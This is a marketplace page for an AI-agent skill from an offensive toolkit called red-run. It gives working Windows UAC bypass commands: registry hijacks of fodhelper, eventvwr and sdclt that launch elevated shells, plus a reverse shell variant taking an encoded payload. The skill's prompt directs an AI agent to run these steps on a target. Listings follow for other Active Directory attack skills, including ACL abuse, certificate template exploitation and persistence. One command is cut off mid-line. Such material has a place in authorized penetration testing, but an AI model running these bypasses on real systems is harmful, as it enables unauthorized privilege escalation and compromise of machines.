acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Bypass Windows User Account Control to escalate from medium to high integrity.
$ npx -y skills add blacklanternsecurity/red-run --skill windows-uac-bypass --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/windows-uac-bypassContext preview
The summary Claude sees to decide when to auto-load this skill.
Bypass Windows User Account Control to escalate from medium to high integrity.
name: windows-uac-bypass description: > Bypass Windows User Account Control to escalate from medium to high integrity. keywords: - bypass UAC - UAC bypass - get high integrity - fodhelper - eventvwr bypass - silentcleanup - always install elevated - COM hijacking - autorun privesc - medium to high integrity - elevation bypass - auto-elevate tools: - fodhelper - eventvwr - sdclt - cmstp - WSReset - UACMe - PowerUp - msfvenom (MSI) opsec: low
You are helping a penetration tester bypass User Account Control to escalate from medium integrity to high integrity on a Windows system. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
Check current integrity level and UAC settings before choosing a bypass.
**Current integrity level:**
whoami /groups | findstr "Mandatory"
**UAC settings:**
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
| ConsentPromptBehaviorAdmin | Meaning | Bypass Feasibility | |---|---|---| | 0 | Elevate without prompting | No bypass needed | | 1 | Prompt for credentials on secure desktop | Hard — auto-elevate bypasses blocked | | 2 | Always prompt (Always Notify) | Hardest — most auto-elevate blocked | | 5 | Prompt for consent (default) | Standard — auto-elevate bypasses work |
If `EnableLUA = 0`, UAC is entirely disabled — no bypass needed.
If `LocalAccountTokenFilterPolicy = 1`, remote connections get full admin tokens.
**OS version (determines which bypasses work):**
ver systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
These techniques hijack auto-elevating Windows binaries that read command paths from HKCU registry keys (writable without admin). The pattern is: write registry → trigger binary → payload runs at high integrity → cleanup.
Most reliable modern bypass. Fodhelper is an auto-elevating binary that reads `ms-settings` shell command from HKCU.
# Write payload to registry New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force # Trigger (launches payload at high integrity) Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden # Cleanup Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
:: CMD equivalent reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c start cmd.exe" /f reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f C:\Windows\System32\fodhelper.exe :: Cleanup reg delete "HKCU\Software\Classes\ms-settings" /f
**Reverse shell variant:**
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ep bypass -e <BASE64_PAYLOAD>" -Force
Event Viewer reads `mscfile` handler from HKCU before HKCR.
New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force Start-Process "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden # Cleanup Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force
Backup and Restore utility reads `Folder\shell\open\command` from HKCU.
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c start cmd.exe" /f reg add "HKCU\Software\Classes\Folder\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f sdclt.exe :: Cleanup reg delete "HKCU\Software\Classes\Folder" /f
Uses `ms-settings` handler — same registry path as fodhelper.
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExe
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…